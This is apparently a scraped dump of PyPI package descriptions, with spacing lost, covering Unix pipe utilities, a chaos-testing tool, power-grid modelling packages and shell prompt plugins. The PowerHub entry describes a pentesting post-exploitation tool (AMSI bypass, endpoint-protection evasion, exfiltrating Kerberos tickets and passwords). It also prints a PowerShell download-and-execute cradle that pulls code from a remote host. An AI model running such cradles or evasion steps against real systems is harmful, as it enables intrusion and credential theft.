Saravanan666/pypi-org huggingface dataset:
Package: powerful-pipes
In a nutshellPowerful Pipesis a library for working with UNIX Pipes.Install>pipinstallpowerful-pipesQuick StartCreate a CLI tool that reads from the JSON from stdin and dumps to the stdout, after processing input data:# File: pipe-example.pyfrompowerful_pipesimportread_json_from_stdin,eprint,write_json_to_stdoutforerror,input_jsoninread_json_from_stdin():iferror:# Here you can manager the error. Most common error is that the# input is not a valid json.# eprint(...) function dumps the error message to the stderreprint(message="Error processing input from stdin")continuetry:input_json["myData"]="data 1"exceptExceptionase:report_exception(input_json,e)finally:# THIS STEP IS CRITICAL. If you don't put again in the stdout the# input data, following tools in the pipe chain wouldn't receive# the datawrite_json_to_stdout(input_json)Using in CLI:>echo'{}'|pythonpipe-example.py|jq{"myData":"data 1"}Advanced UsageIf you need to pass heavy data between tools in the pipe chain, you should use thewrite_to_stdout_by_file_refandread_from_stdin_by_file_ref.It stores the data in a temporary file and passes the file reference to the next tool in the pipe chain.# File: pass_by_reference.pyfrompowerful_pipesimportread_from_stdin_by_file_ref,eprint,write_to_stdout_by_file_ref,report_exceptionforerror,input_jsoninread_from_stdin_by_file_ref():iferror:# Here you can manager the error. Most common error is that the# input is not a valid json.# eprint(...) function dumps the error message to the stderreprint(message="Error processing input from stdin")continuetry:input_json["myData"]="data 1"exceptExceptionase:report_exception(input_json,e)finally:# THIS STEP IS CRITICAL. If you don't put again in the stdout the# input data, following tools in the pipe chain wouldn't receive# the datawrite_to_stdout_by_file_ref(input_json)ChangelogYou can checkChangelog.DocumentationYou can find the complete documentation at:DocumentationAuthorsPowerful Pipes was made by 42Crunch Research Team:jc42cr0hnLicensePowerful Pipes is Open Source and available under theApache 2.ContributionsContributions are very welcome. SeeCONTRIBUTING.mdor skim existing tickets to see where you could help out.AcknowledgementsSpecial thanks toCesar Gallegofor his mentoring in data processing, that inspired this project.Project logo thanks toPipe icons created by srip - Flaticon
Package: powerful-pipes-notifier
Powerful Pipes Notifier - Multi-Channel notification tool with the power of UNIX PipesIn a nutshellPowerful Pipes Notifieris a notification tool to forward STDIN data to different destinations.Install>pipinstallpowerful-pipes-notifierQuick StartPowerful pipes notifier send to a destination the stdin data, line by line.Examples:HTTP Web Hook>notifier-dhttp://localhost/webhookWeb Socket Hook>notifierws://localhost/websocket-hookAllowed destinationsCurrently, these are the implemented schemas:http://URI-> webhookws://URI -> websocketmongodb://user:password@host:port/?db=DATABASE&collection=COLLECTIONMongoDB examples>docker-compose-fdocker-compose.mongo.yamlup-d
>catexamples/localhost_meta.txt|notifier-d"mongodb://root:example@127.0.0.1:27900/?db=notifier&collection=logs"NOTE: Pay attention of symbol "?" in the URI after the port slash.Rules engineYou can set a rule that tell to notifier if notify or not.Rules are based in JSONPath standard and will try to match it in the input JSON data.Usage example:>notifier-dhttp://localhost/webhook-R"_meta.dataSource.sourceName == 'har asdf'">notifier-dhttp://localhost/webhook-R"_meta.summary.current == _meta.summary.total"DocumentationYou can find the complete documentation at:Documentation.AuthorsPowerful Pipes Notifier was made by 42Crunch Research Team:jc42cr0hnLicensePowerful Pipes Notifier is Open Source and available under theAGPLv3+.ContributionsContributions are very welcome. SeeCONTRIBUTING.mdor skim existing tickets to see where you could help out.AcknowledgementsProject logo thanks toPipe icons created by starline - Flaticon.
Package: powerfulseal
PowerfulSealPowerfulSealinjects failure into your Kubernetes clusters, so that you can detect problems as early as possible. It allows for writing scenarios describing completechaos experiments.Embrace the inevitable failure.Embrace The Seal.DocumentationPlease refer to thePowerfulseal documentationto learn how to use it.Highlightsworks withKubernetes,OpenStack,AWS,Azure,GCPand local machinesyamlpoliciesdescribing complete chaos experimentsPrometheusandDatadogmetrics collectionmultiplemodesfor differnt use casesHello world!Just to give you a taste, here's an example policy. It will kill a single pod, and then check that the service continues responding to HTTP probes, to verify its resiliency to one of its pods going down.scenarios:-name:Kill one pod in my namespace, make sure the service respondssteps:# kill a pod from `myapp` namespace-podAction:matches:-namespace:myappfilters:-randomSample:size:1actions:-kill:probability:0.75# check my service continues working-probeHTTP:target:service:name:my-servicenamespace:myappendpoint:/healthzAssuming that's inpolicy.yml, you can run it like this:powerfulsealautonomous--policy-file./policy.yamlLearn moreInstallingdocker hub:docker pull bloomberg/powerfulseal:3.1.0pip:pip install powerfulsealRead about the PowerfulSealhttps://medium.com/faun/failures-are-inevitable-even-a-strongest-platform-with-concrete-operations-infrastructure-can-7d0c016430c6https://www.techatbloomberg.com/blog/powerfulseal-testing-tool-kubernetes-clusters/https://siliconangle.com/blog/2017/12/17/bloomberg-open-sources-powerfulseal-new-tool-testing-kubernetes-clusters/https://github.com/ramitsurana/awesome-kubernetes#testinghttps://github.com/ramitsurana/awesome-kubernetes#other-useful-videoshttps://github.com/dastergon/awesome-chaos-engineering#notable-toolshttps://www.linux.com/news/powerfulseal-testing-tool-kubernetes-clusters-0https://www.infoq.com/news/2018/01/powerfulseal-chaos-kubernetesPowerfulSeal presentation at KubeCon 2017 AustinFootnotesPowerfulSeal logo Copyright 2018 The Linux Foundation, and distributed under the Creative Commons Attribution (CC-BY-4.0)license.
Package: powergama
PowerGAMA - Power Grid And Market AnalysisIntroductionPowerGAMA is an open-source Python package for power system grid and market analyses.Since some generators may have an energy storage (hydro power with reservoir and concentrated solar power with thermal storage) the optimal solution in one timestep depends on the previous timestep, and the problem is therefore be solved sequentially. A realistic utilisation of energy storage is ensured through the use of storage values.PowerGAMA does not include any power market subtleties (such as start-up costs, limited ramp rates, forecast errors, unit commitments) and as such will tend to overestimate the ability to accommodate large amounts of variable renewable energy. Essentially it assumes a perfect market based on nodal pricing without barriers between different countries. This is naturally a gross oversimplification of the real power system, but gives nonetheless very useful information to guide the planning of grid developments and to assess broadly the impacts of new generation and new interconnections.Reference:HG Svendsen and OC Spro,PowerGAMA: A new simplified modelling approach for analyses of large interconnected power systems, applied to a 2030 Western Mediterranean case study, J. Renewable and Sustainable Energy 8 (2016),doi.org/10.1063/1.4962415Install use-only versionInstall latest PowerGAMA release from PyPi:pip install powergamaInstall development versionPrerequisite:PoetryPre-commitAn LP solver, e.g. the freeCBC solver.
Clone or download the code and install it as a python package.Installgit clone git@github.com:powergama/powergama.gitcd powergamapoetry installpoetry shellpoetry run pytest testsGitHub Actions PipelinesThese pipelines are defined:Build: Building and testing on multiple OS and python versions. Triggered on any push to GitHub.Contribute to the codeYou are welcome to contribute to the improvement of the code.Use Issues to describe and track needed improvements and bug fixesUse branches for development and pull requests to merge into mainUsePre-commit hooksContactHarald G SvendsenSINTEF Energy Research
Package: powergim
Power Grid Investment Module (PowerGIM)PowerGIM is a Python package for stochastic power system expansion planning that can consider both transmission and generator investments in a two-stage formulation with uncertain parameters.Getting startedInstall latest PowerGIM release from PyPi:pip install powergimUser guide and examplesThe online user guide  gives more information about how to
specify input data and run a simulation case.User guideDeveloper installationPrerequisite:PoetryPre-commitA MILP solver, e.g. the freeCBC solver.
Clone or download the code and install it as a python package.A working MPI implementation, preferably supporting MPI-3 and built with shared/dynamic librariesInstall dependenciesgit clone git@github.com:powergim/powergim.gitcd powergimpoetry installpoetry shellpoetry run pytest testsGitHub Actions PipelinesThese pipelines are defined:Build: Building and testing on multiple OS and python versions. Triggered on any push to GitHub.ContributeYou are welcome to contribute to the improvement of the code.Use Issues to describe and track needed improvements and bug fixesUse branches for development and pull requests to merge into mainUsePre-commit hooksContactHarald G SvendsenSINTEF Energy Research
Package: power-grid-model
Power Grid Modelpower-grid-modelis a library for steady-state distribution power system analysis distributed for Python and C.
The core of the library is written in C++.
Currently, it supports the following calculations:Power FlowState EstimationShort CircuitSee thepower-grid-model documentationfor more information.
For various conversions to the power-grid-model, refer to thepower-grid-model-iorepository.Want to be updated on the latest news and releases? Subscribe to the Power Grid Model mailing list by sending an (empty) email to: powergridmodel+subscribe@lists.lfenergy.orgInstallationInstall from PyPIYou can directly install the package from PyPI.pip install power-grid-modelInstall from CondaIf you are usingconda, you can directly install the package fromconda-forgechannel.conda install -c conda-forge power-grid-modelBuild and install from SourceTo install the library from source, refer to theBuild Guide.ExamplesPlease refer toExamplesfor more detailed examples for power flow and state estimation.
Notebooks for validating the input data and exporting input/output data are also included.LicenseThis project is licensed under the Mozilla Public License, version 2.0 - seeLICENSEfor details.Licenses third-party librariesThis project includes third-party libraries,
which are licensed under their own respective Open-Source licenses.
SPDX-License-Identifier headers are used to show which license is applicable.
The concerning license files can be found in theLICENSESdirectory.ContributingPlease readCODE_OF_CONDUCT,CONTRIBUTING,PROJECT GOVERNANCEandRELEASEfor details on the process
for submitting pull requests to us.VisitContributefor a list of good first issues in this repo.CitationsIf you are using Power Grid Model in your research work, please consider citing our library using the following references.@software{Xiang_PowerGridModel_power-grid-model,author={Xiang, Yu and Salemink, Peter and Bharambe, Nitish and Govers, Martinus and van den Bogaard, Jonas and Stoeller, Bram and Wang, Zhen and Guo, Jerry and Jagutis, Laurynas and Wang, Chenguang and van Raalte, Marc and {Contributors to the LF Energy project Power Grid Model}},doi={10.5281/zenodo.8054429},license={MPL-2.0},title={{PowerGridModel/power-grid-model}},url={https://github.com/PowerGridModel/power-grid-model}}@inproceedings{Xiang2023,author={Xiang, Yu and Salemink, Peter and Stoeller, Bram and Bharambe, Nitish and van Westering, Werner},booktitle={CIRED 2023 - The 27th International Conference and Exhibition on Electricity Distribution},title={Power grid model: A high-performance distribution grid calculation library},year={2023},volume={2023},number={},pages={1-5}}ContactPlease readSUPPORTfor how to connect and get into contact with the Power Gird Model project.
Package: power-grid-model-io
Power Grid Model Input/Outputpower-grid-model-iocan be used for various conversions to thepower-grid-model.
For detailed documentation, seeRead the Docs.InstallationInstall from PyPIYou can directly install the package from PyPI.pip install power-grid-model-ioInstall from CondaIf you are usingconda, you can directly install the package fromconda-forgechannel.conda install -c conda-forge power-grid-model-ioExamplesPGM JSON ExampleLicenseThis project is licensed under the Mozilla Public License, version 2.0 - seeLICENSEfor details.ContributingPlease readCODE_OF_CONDUCTandCONTRIBUTINGfor details on the process
for submitting pull requests to us.VisitContributefor a list of good first issues in this repo.CitationsIf you are using Power Grid Model IO in your research work, please consider citing our library using the following references.@software{Xiang_PowerGridModel_power-grid-model-io,author={Xiang, Yu and Salemink, Peter and Bharambe, Nitish and Govers, Martinus and van den Bogaard, Jonas and Stoeller, Bram and Wang, Zhen and Guo, Jerry and Jagutis, Laurynas and Wang, Chenguang and {Contributors to the LF Energy project Power Grid Model}},doi={10.5281/zenodo.8059257},license={MPL-2.0},title={{PowerGridModel/power-grid-model-io}},url={https://github.com/PowerGridModel/power-grid-model-io}}@software{Xiang_PowerGridModel_power-grid-model,author={Xiang, Yu and Salemink, Peter and Bharambe, Nitish and Govers, Martinus and van den Bogaard, Jonas and Stoeller, Bram and Wang, Zhen and Guo, Jerry and Jagutis, Laurynas and Wang, Chenguang and van Raalte, Marc and {Contributors to the LF Energy project Power Grid Model}},doi={10.5281/zenodo.8054429},license={MPL-2.0},title={{PowerGridModel/power-grid-model}},url={https://github.com/PowerGridModel/power-grid-model}}@inproceedings{Xiang2023,author={Xiang, Yu and Salemink, Peter and Stoeller, Bram and Bharambe, Nitish and van Westering, Werner},booktitle={CIRED 2023 - The 27th International Conference and Exhibition on Electricity Distribution},title={Power grid model: A high-performance distribution grid calculation library},year={2023},volume={2023},number={},pages={1-5}}ContactPlease readSUPPORTfor how to connect and get into contact with the Power Gird Model IO project.
Package: powerhose
Powerhose turns your CPU-bound tasks into I/O-bound tasks so your Python applications
are easier to scale.Powerhose is an implementation of theRequest-Reply Brokerpattern in ZMQ.Seehttp://powerhose.readthedocs.orgfor a full documentation.CHANGES0.7 - 2012-06-21auto-unregistring of dead/slow workers0.6 - 2012-06-20introduced a graceful shutdownadded a worker registering so restarting workers are not
impacting the system0.5 - 2012-06-12drastically reduced the number of used FDs, mainly by
reusing the same context when possible0.4 - 2012-05-25the broker exits if there’s already a valid broker running
in the socket.powerhose-broker gained 2 new options: –check and –purge-ghosts0.3 - 2012-05-24implemented timeout_max_overflow in the client.the stacks are dumped on worker timeoutsnow using delayed callbacks for the heartbeat0.2 - 2012-04-17make sure execution errors are properly transmited and raised.fixed the pool of connectors - so every connector is correctly freednow workers can get extra options from the command-line0.1 - 2012-04-05initial release.
Package: powerhub
PowerHubPowerHub is a convenient post exploitation tool for PowerShell which aids a
pentester in transferring data, in particular code which may get flagged by
endpoint protection. Features:FilelessStatelessCert pinningString "obfuscation" by RC4 encryptionChoose your AMSI BypassTransparent aliases for in-memory execution of C# programsDuring an engagement where you have a test client available, one of the
first things you want to do is run SharpHound, Seatbelt, PowerUp,
Invoke-PrivescCheck or PowerSploit. So you need to download the files,
mess with endpoint protection, disable the execution policy, etc.
PowerHub provides an (almost) one-click-solution for this. Oh, and you can
also run arbitrary binaries (PE and shell code) entirely in-memory using
PowerSploit's modules, which is sometimes useful to bypass application
whitelisting.Your loot (Kerberos tickets, passwords, etc.) can be easily transferred back
either as a file or a text snippet, via the command line or the web
interface. PowerHub also helps with collaboration in case you're a small
team.Here is a simple example (grab information about local groups with PowerView
and transfer it back):PS C:\Users\avollmer>[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$Nxois='bZeVBC4vZfakT5SmCcaFam6IRY6UNLnC';$Plukgmio=New-ObjectNet.WebClient;IEX$Plukgmio.DownloadString('https://192.168.11.2:8443/')_____   _____  _  _  _ _______  ______ _     _ _     _ ______|_____] |     | |  |  | |______ |_____/ |_____| |     | |_____]|       |_____| |__|__| |______ |    \_ |     | |_____| |_____]2.0.0                       written by Adrian Vollmer, 2018-202Run 'Help-PowerHub' for helpPS C:\Users\avollmer>Get-HubModulePowerViewName   : /home/avollmer/.local/share/powerhub/modules/PowerSploit/Recon/PowerView.ps1Type   : ps1N      : 205Loaded : TrueAlias  :PS C:\Users\avollmer>Get-LocalGroup|PushTo-Hub-Namegroups.jsonDocumentationRead the docshere.Installation:https://adrianvollmer.github.io/PowerHub/latest/installation.htmlUsage:https://adrianvollmer.github.io/PowerHub/latest/usage.htmlContributing:https://adrianvollmer.github.io/PowerHub/latest/contrib.htmlChangelog:https://adrianvollmer.github.io/PowerHub/latest/changelog.htmlCreditsPowerHub is partially based on the awesome work of zc00l, @am0nsec, mar10,
p3nt4. And of course, it would be nothing without @harmj0y,
@mattifestation and the many other contributors toPowerSploit.Thanks!Author and LicenseAdrian Vollmer, 2018-2023. MIT License.DisclaimerUse at your own risk. Do not use without full consent of everyone involved.
For educational purposes only.
Package: powerjira
PowerJiraA succinct local jira control plane.Welcome to PowerJira!Hate how visually noise and clunky the Jira web-app is? Ever wish you could manage your jira account with a minimalistic interface?Welcome to the party! 🥳Table of Contents📖WelcomeGet StartedUsageTechnologiesContributeAcknowledgementsLicense/Stats/AuthorGet Started 🚀pipinstallpowerjira
pipinstall--upgradepowerjiraUsage ⚙Set an alias in your shell environment to open up an editor workspace you want to use powerjira in.Then set another alias to run a script like:# pip install powerjira# pip install --upgrade powerjirafrompowerjiraimportpowerjirafromsysimportargv,exitconfig_path='config.yml'agent_path='agent.yml'summary_path='summary.txt'description_path='description.txt'powerjira(config_path,agent_path,summary_path,description_path,argv[1:])exit(0)Make your local config files:touchsummary.txtdescription.txtconfig.ymlagent.ymlFor the configuration files:config.ymlproject:<project-key>priority:<priority>issue_type:<type>epicKey:# Leave as empty for standalone task or epicreporter:<reporter-account-id>assignee:<assignee-account-id>agent.ymldomain:<host>user_name:<email>token:<jira-access-token>Presuming you've named said shell aliaspj, print the help message:pj--helpTechnologies 🧰PyYAMLpython-jiraPoetryTyperContribute 🤝Feel free to push PR's to help make this tool more extensible/flexible.Acknowledgements 💙Thanks to Atlassian for making market-leading tools that kinda frustrate me.License, Stats, Author 📜SeeLicensefor the full license text.This repository was authored byIsaac Yep.PyPi PackageBack to Table of Contents
Package: powerk8s
☸️ powerk8s: Powerline Plugin for Kubernetes ☸️This simple plugin is designed to show the Kubernetes cluster configured
for the current context in$KUBECONFIG.This work is inspired byso0k/powerline-kubernetes,
and intends to be a drop-inreplacementas well as an improvement upon the original work.Installation$pip3installpowerk8sConfigurationJust like withso0k/powerline-kubernetes, you'll need a few things to get going:Colorschemes~/.config/powerline/colorschemes/default.json:{"groups":{"kubernetes_cluster":{"fg":"gray10","bg":"darkestblue","attrs":[]},"kubernetes_cluster:alert":{"fg":"gray10","bg":"darkestred","attrs":[]},"kubernetes_namespace":{"fg":"gray10","bg":"darkestblue","attrs":[]},"kubernetes_namespace:alert":{"fg":"gray10","bg":"darkred","attrs":[]},"kubernetes:divider":{"fg":"gray4","bg":"darkestblue","attrs":[]},}}powerk8sinvocation (& arguments)Here is a good starting point.~/.config/powerline/themes/shell/default.json:{"function":"powerline_kubernetes.kubernetes","priority":30,"args":{"show_kube_logo":true,"show_cluster":true,"show_namespace":true,"show_default_namespace":false,"alerts":["live","cluster:live"]}}This will add the segment to the shell.
Alternatively, placing this in~/.config/powerline/colorschemes/default.jsonwill make it show up in the Tmux status line.Authors@gkzeLicenseMIT
Package: powerkube-fork
Powerkube-forkPowerkube-fork is aPowerlinesegment that shows your current Kubernetes context. It can be configured to show any or all of:the current clusterthe current namespacethe current userTwo other nifty features that it has are:The ability to toggle on or off the powerkube-fork segment using an environment variable which can easily be mapped to a function in your~/.bash_profile.The ability to define certain namespaces to be colored differently for alerting purposes. For example, you could have your production namespaces show up in bright red.The screenshot below demonstrates this functionality:InstallationAdd the Python package.  powerkube-fork is available on pypi so you can install it with pip:pipinstall--userpowerkube-forkCreate a user configuration directory.Once powerkube-fork has been installed, we'll need to add it to our powerline shell's theme and colorscheme.Alter your powerline user config:If you don't already have a~/.config/powerline/folder, create it. Next we'll be copying some of the default powerline configs into this location. Find where powerline is installed by usingpip show powerline-status | grep 'Location', then navigate to theconfig_files/folder there. We'll be copyingconfig.json,themes/shell/default.json, andcolorschemes/shell/default.jsonto our~/.config/powerline/folder, adding the necessary folders to match that original file structure (i.e. adding thethemes/andcolorschemes/folders, etc.Add powerkube-fork to your user config.Within our user config, we'll need to add the powerkube-fork segment to our shell by adding the following lines to our~/.config/powerline/themes/shell/default.json:{"function":"powerkube_fork.context","priority":30,"args":{"show_cluster":true,"show_namespace":true,"show_user":true,"alert_namespaces":["data-prod","infra-prod"]}}Next we'll add the highlighting colors we'll use to our~/.config/powerline/colorschemes/shell/default.json:{"name":"Default","groups":{"kubernetes_cluster":{"fg":"white","bg":"gray6","attrs":[]},"kubernetes_namespace":{"fg":"white","bg":"gray8","attrs":[]},"kubernetes_namespace:alert":{"fg":"white","bg":"brightred","attrs":[]},"kubernetes_user":{"fg":"white","bg":"gray9","attrs":[]}}}You may need to reload powerline withpowerline-daemon --replaceto load the new settings. That's it!(Optional) By default powerkube-fork will render the kubernetes context if the environment variableRENDER_POWERLINE_KUBERNETESis either set toYESor is not set at all. Rather than setting this variable manually, you can create a simplekshowfunction by placing the following in your~/.bash_profile:functionpowerline-kubernetes-toggle(){if[[$RENDER_POWERLINE_KUBERNETES="NO"]];thenexportRENDER_POWERLINE_KUBERNETES=YESelseexportRENDER_POWERLINE_KUBERNETES=NOfi}You're all set up! Happy coding!LicenseLicensed under theApache License 2.0.Original fork is athttps://github.com/zcmarine/powerkube.